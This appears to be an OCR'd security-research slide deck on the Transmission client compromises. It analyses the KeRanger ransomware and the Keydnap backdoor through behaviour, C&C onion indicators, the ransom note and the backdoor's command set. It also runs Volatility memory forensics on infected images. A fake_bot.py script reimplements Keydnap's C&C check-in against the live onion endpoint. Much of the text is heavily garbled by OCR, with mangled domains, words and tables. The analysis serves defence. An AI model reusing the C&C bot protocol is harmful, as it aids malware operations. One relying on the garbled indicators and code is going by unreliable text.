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¢ |



GIZMODO

Popular BitTorrent Client Tran:
With Malware Again

Christina Warren
4 NOT AGAIN

| eemrr—

Transmission is livin
spreading nasty m
‘& BRYAN CLARK . APPS

enNnn
Bilm/0/ 2] (0. 8] le)ia)
S0L s W o ¥ 0w ol

The. Yes Men Fix. The, World P2P.Ed 00, 20 10 Xvig - VODO
AL aataded 7 V4 it

— i

Poneer 0ne.501£03.7200.x264-VODO

__ BUSINESS

— INSIDER

A popular app for downloading movies and music was
infected with ransomware, again

|=

Paul Szoldra & % w &
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The free and popular BitTorrent
client Transmission was infected
with ransomware, yet again.

Built by a team of volunteers,
Transmission is software that
allows people to download
movies, games, and other files
through torrents, which splits
large files into tiny pieces spread
out among many users.

Researchers at ESET
recently uncovered some nasty

Flickr/jazbeck
ransomware code called



So, if you're using Transmission, time to stop... second time in 6
months thev've been hacked to distribute malware!

Thomas Reed (thomasareed - Aug 30
R

[-] savageotter 12 bodd pfed 27 dnu

Two attacks in 6 months.

i i verfied it y .
Mario Junior a month ago Looks like we need a new torrent software to use.

% 1 H 1 ‘?
For fu™ sake, again transmission devs” trvaly odkaz embed

1 Reply - Share »
- ~ Koen Torfs
keysofanxiety thats it for me too, bye Transmission...
4 weeks ago -

Like - Reply - 4 Sep 1, 2016 7:39am

€€ come on, guys. Secure your server already.

Sources say that the armoured gerbil protecting the server room was distracted by a morsel of cheese.

Rating: 12 Viotes

| Jez - a month ago
Second time Transmission has been infected (https://torrentfreak.com/mac-b....
How can they let this happen twice?
12 ~ ~ - Reply - Share»



Transmission response

Removal of OSX/KeRanger implemented
Download moved to GitHub

Binaries and checksums split in 2 different
locations

Investigation of incidents still ongoing!!!



1) H

Questions of interests

ow many downloads had the infected

Transmission 2.90/2.927

2) H

ow long (in hours) was the malicious bundle

available for download in March/August?

3) H

ow did the Transmission team find out about

the compromise in March/August?

4) F
T

ow many users use OS X version of
ransmission in total?



5)
6)

7)

Questions of interests

How did the attackers compromise the server?
Which platform the attack went through?

s it possible that the attackers had access to the
server all the time between the incidents?

Transmission is a volunteer-based project. How
many contributors does it have? Are there any
roles within the team that are related to
security?



Incidents in facts
| |incident1(v2.90) |incident2(v2.92)

Date 4t March* 28t August
Number of downloads <1000 ???

Time ~32 hours <36 hours

# of hits ESET LiveGrid 0 1

Reported by Palo Alto Networks ESET

Binary signed on 4th March 28t August
Certificate POLISAN BOYA SANAYI Shaderkin Igor
Malicious component General.rtf Licence.rtf

* Malware was pushed as update to clients!!!



OSX/KeRanger

(the first in-the-wild crypto-ransomware for OS X)



OSX/KeRanger — Dynamic analysis

Install itself in
%HOME_DIR%/Library/kernel service

Stay hidden for three days

When activated, connect C&C and download data

+ the RSA master key
+ ransom message

Encrypt docs in /Volumes, /Users
Ransom message not displayed proactively!



OSX/KeRanger — loCs

Network: File system:
Iclebb6kvohlkeml.onion[.]link %HOME_DIR%/Library/kernel_service
%HOME_DIR%/Library/.kernel_pid
%HOME_DIR%/Library/.kernel_time

bmacyzmea723xyaz.onion[.]link %HOME_DIR%/Library/.kernel _complete
bmacyzmea723xyaz.onion[.]Jnu > too late (

Iclebb6kvohlkcml.onion|[.]nu

nejdtkok7oz5kjoc.onion|.]link
nejdtkok7oz5kjoc.onion[.]nu

(esh)



OSX/KeRanger — Ransom message

@ @ | 1 README_FOR_DECRYPT.txt — Locked

Your computer has been locked and all vour files has been encrypted with
2B4B-bit RSA encryption.

Instruction for decrypt:

1. Go to https://fiwfdkwysmddpwsl.onion.to { IF MWOT WORKIMG JUST DOWMLOAD
TOR BROWSER AMD OPEM THIS LIMK: http://fTiwfd4kwysmddpwSl.onion |

2. Use 1LhgdadkK77 rFMTkgBKqmsdinDNYYVELDIN as your ID for authentication

3. Pay 1 BTC (~487.25%) for decryption pack using bitcoins {wallet is wour
ID for authentication — 1Lhgdadk77rFMTkoEKgmsdinDNYYVDLDIMN)

4., Download decrypt pack and run

1LhgdadK77rFMTkgBKgmsdinDNYYVbLDJN

———= Also at https://fiwfdkwysmddpwSl.onion.to you can decrypt 1 file for
FREE to make sure decryption is working.

Also we have ticket system inside, so if you have any questions - you are
welcome.

We will answer only if you able to pay and wou have serious question.

IMPORTAMNT: WE ARE ACCEPT OMLY(!!) BITCOIMS

HOW TO BUY BITCOINS:

https: S/ localbitcoins. com/guides/how-to-buy-bitcoins
https:/fen.bitcoin.it/wiki/Buying_Bitcoins_{the_newbie_version)

< 1 BTC demand

< Wallet never used

< Missing words

< Wrong grammar

(es[:ly



OSX/Keydnap

(a backdoor that exfiltrates victims’ credentials from their keychains)



OSX/Keydnap — stages

1. Downloader
2.Backdoor

3. Authd_service



OSX/Keydnap
Downloader

Stage 1



OSX/Keydnap — Execution obfuscation

¥ Name & Extension:

scree

¥ Open with:

B Terminal

Use this application to open all documents

llllllllllll
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OSX/Keydnap
Backdoor

Stage 2



0OSX/Keydnap — Dynamic analysis

Achieving persistence
(SUSER)/Library/LaunchAgents/com.apple.iCloud.sync.daemon.plist

Creating working directory
Library/Application Support/com.apple.iCloud.sync.daemon

Camouflaging itself in ps output

DeBug-Mac:~ debug$% ps ax | grep "icloug"
488 7T Ss B:80.88 Sfusr/libexecf/icloudsyncd -launchd netlogon.bundle

(es[:ly



0OSX/Keydnap — Dynamic analysis

Used Keychaindump PoC to steal keychain

Used Tor2Web proxy to communicate with C&C
server

 g5wcesdfjzne7255.0nion

* r2elajikcosf7zee.onion

Version 1.5 use standalone TOR client

* t4f2cocitdpga7tv.onion/api/osx



OSX/Keydnap — Backdoor

Uninstall Keydnap and quit

Update the backdoor from a base64-encoded file
Update the backdoor given a URL

Decode and execute a base64-encoded file

Decode and execute a base64-encoded Python script
Download and execute a file from a URL

Download and execute a Python script from a URL

Execute a command and report the output back to the C&C server

o N o un B W N R O

Request administrator privileges the next time the user runs an application

(o)

Decode and execute, or stop, a base64-encoded file called authd_service

=
o

Change C&C URL



OSX/Keydnap
Authd_service

Stage 3



fake_bot.py — scripts (git: master)

import requests
from Crypto.Cipher import ARC4
import time

RC4_KEY="u2RLhh+!LGd9p8! ZtuKcN"

BOT_10-

C2_ENDPOINT="http://r2elajikcosf7zee.onion/api/osx/"
#C2_ENDPOINT="http://127.0.0.1:8080/apifosx/"

headers =-{ "User-Agent": None, : "Accept":-"*/*",  "Connection": ‘None}
proxies - =-{ "http": "socks5://localhost:9050" }

def (s):
return ARC4.new(RC4_KEY).encrypt(s).encode( 'basess ')

started_data = """device model:_
bot_version= R
bui1d_name -

0s_version=NEmmm

ip_address- ity
has_root=0

print requests.post(CziENDPOINT + "started”, headers=headers, proxies=proxies,
data={ "bot_id": -BOT_ID, - "data": -encrypt(started_data) -}).content

while True:
print requests.get(C2_ENDPQINT -+ "get task", headers-headers, proxies=proxies,
params={ - "bot_id": -BOT_ID, - "version": "1.3.5" -} ).content
time.sleep(10*60)

4| SoftTabs: 4 v | % & | Symbols
TGS




3. Local Shell

ok

86q7b/Vubecuspql 4NGw2UL140EXP6c5pXrkBaHp9DScLd7syQR6bcQ0geRrFtdd+2d2c]7zzXUDvRrXkG1lUez4qjo3EizosgtRC93Qj8fuK/gCxGM70z0 M=
ok

ok

ok

ok

ok

ok

ok

ok

ok

ok

ok

ok

ok

ok

ok

ok

ok

ok

ok

ok

ok

ok

ok

ok

ok

ok

ok
86q7b/VuvLZorc/SqsSIujB7fhu/svkZEvaXdy17ewN9C88RZmy5VghSWj jh2fIJ+ay£fB7/Xf juOMsDEPNY+6q2DwAYC6qlKw2HN/1iryKIf001MgAKKQXFIIIfggfHbzQCqER
86q7b/Vubecuspql 4NGw2UL140EXP6c5pXrkBaHp9DScLd7syQR6bcQ0geRrFtdd+2d2c] 7zzXUDvRrXkG1lUez4qjo3EizosgtRC93Qj8£uK/gCxGM70z0 M=
86q7b/VuvLZorc/Sq4SIujB7fhu/sstTN/ZMKj43XSF9D8oVY265VC5SED jhzfId+a/qB0zXWDieMdDEPNY+6q2D2wYZ6ql Yw3PN/12KCOvtsV40HoCAeX91C4EgfHbzQCqER
tsXwCKwK7Po41icCHsteKsXh5fUfmtcoCDbxaaH4hWXBZe+plHh6bI1wmKhrCtYEujtyec+2iDBi7ELixGgUbm9j6riEmnospsxmG




OSX/Keydnap — Authd_service

31 stage file we uncovered is small backdoor with
strong communication encryption

1 Read File
2 Write File

3 Execute command in Terminal



OSX/KeRanger vs OSX/Keydnap

No real impact was spotted

Both appended malware code to transmission
code

Similar dropping functionality
Both signed by legitimate code signing key
C&C URL resource path and parameter is same

(esh)



Volatility Framework
with Mac profiles



VF — Mac prebuilt profiles (x64)
Mounsintion | Maverds | Youemite___ laion_____

10_8 12A269 10_9_13A603 10_10_14A389 10_11_15A284

10 8 1 12B19 10 9 1 13B42 10_10_1_14B25 10 11 1 15B42
10_8 3 12D78 10 9 2 13C1021  10_10_2_14C1514 10_11 2 15C50
10_8 4 12E55 10 9 2 13C64 10 10 3 14D131 10_11_3_15D21
10 8 5 12F2518 10_9_3_13D65 10 10 _3_14D136  10_11 4 15E65
10_8 5 12F37 10 9 4 13E28 10_10_4_14E46 10 _11_6_15G1004
10_8 5 _12F45 10 9 5 13F1077 10 10 5 _14F1021

10_10_5_14F27

https://github.com/volatilityfoundation/profiles/tree/master/Mac



VF — Troubles with Mac Profiles

 Correct profile important!
« ERROR : volatility.debug : Invalid profile <profile> selected
*  “No suitable address space mapping found”

* No prebuilt = creating on your Own:\(e“‘e\

dsymutil -s -arch x86 64 &
/Library/Developer/KDKs/KDK_10.10.5_14F27.kdk/System/Libr
ary/Kernels/kernel.dSYM/Contents/Resources/DWARF/kernel >
10.10.5.14F27.AMDx64 .symbol.dsymutil

dwarfdump -arch x86 64 -i
/Library/Developer/KDKs/KDK 10.10.5 14F27.kdk/System/Libr
ary/Kernels/kernel.dSYM > 10.10.5.14F27.AMDx64.dwarfdump

- Failed by %volatility%/tools/mac/convert.py @er



VF — Test Environments




VF — Test Environments
Real hardware (macMini, 8 GB memory)
OS X: MacElCapitan_10 11 3 15D21 AMD

Memory dump:

* OSXPmem tool 2.1.post4 (May 2016) Rekall
sudo kextutil MacPmem.kext
./osxpmem -m --format elf -o <fn>

Time and Space overhead ﬂ




VF — Test Environments
 VirtualBox:

 Non-stable and unsupported virtualization; n
* 0OS X: MacYosemite 10 10 5 14F27 AMD
e Memory dump:
VBoxManage debugvm <vm> dumpvmcore --filename <fn>

 VMWare:

* Smooth virtualization and system behavior
 Transmission apps crashing! n
e Memory dump: last .vmem file in the <vm> direct%



VF — Mac plugins

mac_pslist mac_Ismod mac_arp mac_version
mac_pstree mac_mount mac_netstat mac_get_profile
mac_psxview mac_list_sessions mac_ifconfig mac_machine_info
mac_proc_maps mac_list_zones mac_route mac_yarascan
mac_dead_procs mac_network_conns mac_volshell
mac_Isof mac_list_files
mac_psaux mac_psenv

https://github.com/volatilityfoundation/volatility/wiki/Mac-Command-Refeggce



VF — Steps to Automation

N

VolatilityBot
Martin Korman (VB2015)

VolUtility GUI
Kevin Breen (2016)

ﬂolden Image (clean state)\

4\ :
J Plugin outputs

Image with executed *.dmg

R
O, ¢« 21

A,




Showing 1 to 2 of 30 Sessions

# Name

57f3d7d142ad3b2560a8c609 OS X Transmission
2.92.dmg Infected

57f4fb3642ad3b2a1c24500f OS X Transmission
2.90.dmg Infected

Add Plugins

Profile

MacYosemite_10_10_5_14F27_AMDx64

MacYosemite_10_10_5_14F27_AMDx64

Created

10 Oct
16
10:24:28

10 Oct
16
07:07:29

About Help ~

=+ New
Modified Delete

10 Oct
16
06:12:29

10 Oct
16
19:31:33




Plugin Results

Plugin Command

mac_mount

mac_list files

mac_list sessions

mac_keychaindump

mac_lsof

mac_pgrp_hash_table

mac_pid_hash_table

Plugin
Type

Kemel
Objects

File
System

Kemel

Objects

Other

Processes

Processes

Processes

Date
Completed

10 Oct 16
06:00:26

10 Oct 16
08:47:33

10 Oct 16
11:01:37

10 Oct 16
10:51:25

10 Oct 16
10:50:25

10 Oct 16
10:48:58

10 Oct 16

FETr FaMatal

Mac_mount
Actions
® Show n entries
® m
@
© @ Mount
® # Device Point Type Diff
© | 1 / /dev/disk0s2 his
>
® | p Idev devis devis
® 3 Inet map -hosts autofs
© |1 4 /home map autofs
® auto_home
®© | 9 MNolumes/Transmission /dev/disk1s1 hfs New Volume
i - Showing 1 to 5 of 5 entries



Plugin Results

Plugin  Date Mac_pslist
Plugin Command Type Completed Actions
mac_pstree Processes 100ct16 & | Shuwnentnes
061229 ®
mac_Isof Processes 10 0ct16 e i
105025 @ T Offset (V) Name PID Uid Gid PGID  Bits
®
mac_pgrp_hash table Processes 10 Oct 16 .1 OxfiB00cIM44bOL  License.rif 412 501 20 412 64BIT
10:48:58 ® W
id_hash table P 100ct16 @
e Il Bt 2 (OxB00c9BOdOL  icloudproc M 501 20 41 64BIT
10:48:28 ® |
task p 100ct16 @
mac_asks D -3 OxffB00addc580L Transmission 407 501 20 407 64BIT
10:47-00 ® @
mac_pslist Processes 100ct16 @ | -
04654 © @ 4 Oxfi800dal12cOL  hdisjectd 404 0 0 404 64BIT
mac_psxview Processes 10 0ct16 o
P e . 5  [OxWW800dal0960L TMHelperAgent 403 501 20 403 64BIT
10:44:51 ® W
p 100ct16 @
P (OCESSES 104419 ® @ 6  OxfiiB00d962ecOl diskimagesheipe 397 O 0 397 64BIT



# 15

10

11

Offset(V)

Oxfifiif8000b0c848L

Oxfifiit8009d23b00L

Oxfifiif8009d23650L

Oxfifiif8009d22cfOL

Oxfifiif8009d231a0L

Oxfiffife009d22840L

Oxfiffife009d22390L

Oxfifiit8009d21a30L

Oxfifiif8009d210d0L

Oxfifiif8009d20c20L

DefmR009d207 701

Name
kemel_task
launchd

syslogd
UserEventAgent
VoodooPS2Daemon
kextd

fseventsd
thermald
appleeventisd
configd

nowerd

PID

43

45

46

A7

pslist
True
True
True
True
True
True
True
True
True
True

True

parents
True
True
False
False
False
True
False
False
False
False

Fale

Mac_psxview
pid_hash pgrp_hash_table
False True
True True
True True
True True
True True
True True
True True
True True
True True
True True
True True

session
leaders

True

True

True

True

True

True

True

True

True

True

True

task
processes Diff

True
True
True
True
True
True
True
True
True
True

True

Bac



Mac_psxview search: [t

Show n entries

# |5 Offset(V) Name PID pslist parents pid_hash pgrp_hash_table session leaders task processes Diff

1599  Oxfiif800d962ee0L diskimages- 397 True False True True True True New
helpe Pid

160 Oxfifif600da10960L TMHelperAgent 403 True False True True False True New
Pid

161  Oxfff800da112c0L  hdiejectd 404 True False True True True True New
Pid

162  (xffii800a4dcH80L Transmission 407 True False True True False True New
Pid

163  Oxfif800c960d0L icloudproc 411 True False True True False True New
Pid

164  Oxfiff600c9f44b0L  License.rif 412 True False True True True True New
Pid

Showing 1 o 6 of 6 entries (fitered from 164 total entries) i



Plugin Results

Networ

Mac_netstat
Plugin Date

Plugin Command Type Completed Actions
mac_network_conns Networking 10 Oct16 ® _
104310 @ |0
mac_route Networking 10 Oct 16 ® _
104204 @ |@
Local
mac_ifconfig Networking 10 Oct 16 ® _ # Proto Local IP Port Remote IP
04157 @ T Lo e 68011 123
mac_arp Networking 100ct16 @ . )
10:4153 ® i 17 UDP fe80:4::a00:27ffeh8:a956 123
mac._netstat Networking 100ct16 @ | N D = LLLL
104104 @ [T 49 ypp 0.0.00 0 0000

80 UNIX Ivarffoldersiw7/796gkiws1c59Ixstby87747r0000gn/T/ficssuis501 0 -

81 UDP 0000 137 0000
82 UDP 0.0.0.0 138 0.0.00
83 UDP 0.0.0.0 0 0.0.00

84 UDP 0.0.0.0 0 0.0.00



o (R

88

90

91

92

93

94

Showing 1 to 6 of 6 entries (filtered from 94 total enines)

Proto

TCP

UDP

TCP

TCP

TCP

TCP

Local IP

100215

127.0.01

10.0.2.15

100215

100215

Local

Port

51413

64457

9050

49170

49171

49173

Mac_netstat

Remote IP

10.022

0.00.0

192.160.102.164

53992199

93.180.156.84

Remote
Port

5351

9001

443

9001

State

LISTEN

LISTEN

ESTABLISHED

ESTABLISHED

ESTABLISHED

Search:

Process

Transmission

Transmission

icloudproc

icloudproc

icloudproc

icloudproc

PID

407

407

41

41

11

11




- [

Name

diskimages-helpe
TMHelperAgent
hdiejectd
Transmission
icloudproc

License_rif

Length

776

712

352

624

744

Argc

Mac_psaux st [

Arguments

ISystem/Library/PnvateFrameworks/Disklmages . framework/Resourc es/diskimages-helper -uud 2738F1AC-51DB-4B80-8CAE-
FAATI632CE90 -post-exec 4

ISystem/Library/CoreServices/backupd. bundle/Contents/Resources/TMHelperAgent. app/Contents/Mac OS/TMHelperAgent -offer
ISystem/Library/PnvateFrameworks/Disklmages. framework/Resources/hdiejec td
Nolumes/Transmission/Transmission.app/Contents/Mac OS/Transmission

IUsers/t ) ibrary/Application Support/com_geticloud/icloudproc

Nolumes/Transmission/Transmission_app/Contents/Resourc es/License rif fusrflibexec/icloudsyncd Jaunchd netlogon bundle

N

Diff

Pid

Pid

Pid

Pid

Pid

Pid




Plugin Results

Plugin Date
Plugin Command Type  Completed Actions Mac list files Search:_
mac_list_fles Fie  100ct16 @ | ShoW m B

System 084733 @ |1 Previous 1 34 35 36 146
mbrparser File 10 Oct 16 L )

System 104457 @ |1 - Offset (V) —

d file File

e slystem © 3401 OxFB00dbc6a50L  /diskO/Applications/App Store app/Contents/Resources/en IprojinfoPlist stiings
mac._recover filesysiem  File 0 3402 (Oxfififfe00dbc6b40L  /diskO/Applications/Messages.app/Contents/Pkginfo

= 3403 Oxfiiif800dbc6c30L  /diskO/Applications/Messages app/Contents/Resources/English IproyinfoPlist strings

3404 (Oxffif800dbc6d20L  /diskO/usrilocaliroot services/ Apps

3405 (Oxfifiif800dbc6e10L /diskO/usrilocalroot_services

3406 Oxffff800dbc6f00L  /diskO/Applications/FaceTime app/Contents/Pkginfo

3407 (Oxffife00dbb3000L /diskO/Applications/FaceTime. app/Contents/Resources/English_iproyinfoPlist strings
3408 (Oxffif800dbb30f0L  /disk0/System/Library/CoreServices/NotificationCenter.app/Contents/Pkginfo

3409 Oxfiiffe00dbb31e0L /disk0/System/Library/CoreServices/NotificationCenter.app/Contents/XPCServices/cor

4410 heffrRNNARR2 2400 TdwekNiCSvetam/] thrarng/C oS oannrac /MNobfc astinnCantar ann/Confente ™Y PCSanvroc



# |5

160

162

163

164

165

166

167

168

169

170

10 \& eniries

Offset (V)
OxFfifB00f4151e0L
OxFfB00f415690L
OxFfiB00f415780L
OxFfifB00f415870L
OxffB00f415960L
OxFfiB00f415a50L
OxFfiB00f415b40L
OxFfifB00f415c30L
OxHfB00f415d20L

Oxfifif800f415e10L

Mac_list_files

SEG I MNew File

Previous 1 3 4 5 9  Next

File Path Diff

[disk0/System/Library/Frameworks/AppKit framework/Versions/C/Resources/English_IprofNSAlertPanel nib New File
[disk0/Users/ _Library/Application Support/com.apple.iCloud sync daemon/process.id New File
Idisk0/Users/ _ [toristate New File
Idisk0/Users/ forflock New File
Idisk0/Users/ _ Mor New File
[diskO/Usersi - Library/Application Support/com.apple.iCloud sync daemon/icloudsyncd New File
[diskO0/Usersf _'Library/Application Support/‘com_ apple iCloud sync_.daemon New File
[disk0/Users/: _ Library/ aunchAgents/com.apple. iCloud sync_daemon plist New File
[disk0/Users/: _ Library/l aunchAgents/com geticloud.icloud photo plist New File
[diskO/Users/ _ Library/Application Suppori/com.geticloud/icloudproc New File

Showina 11 to 20 of 84 entnes (filtered from 14 533 total entnes)
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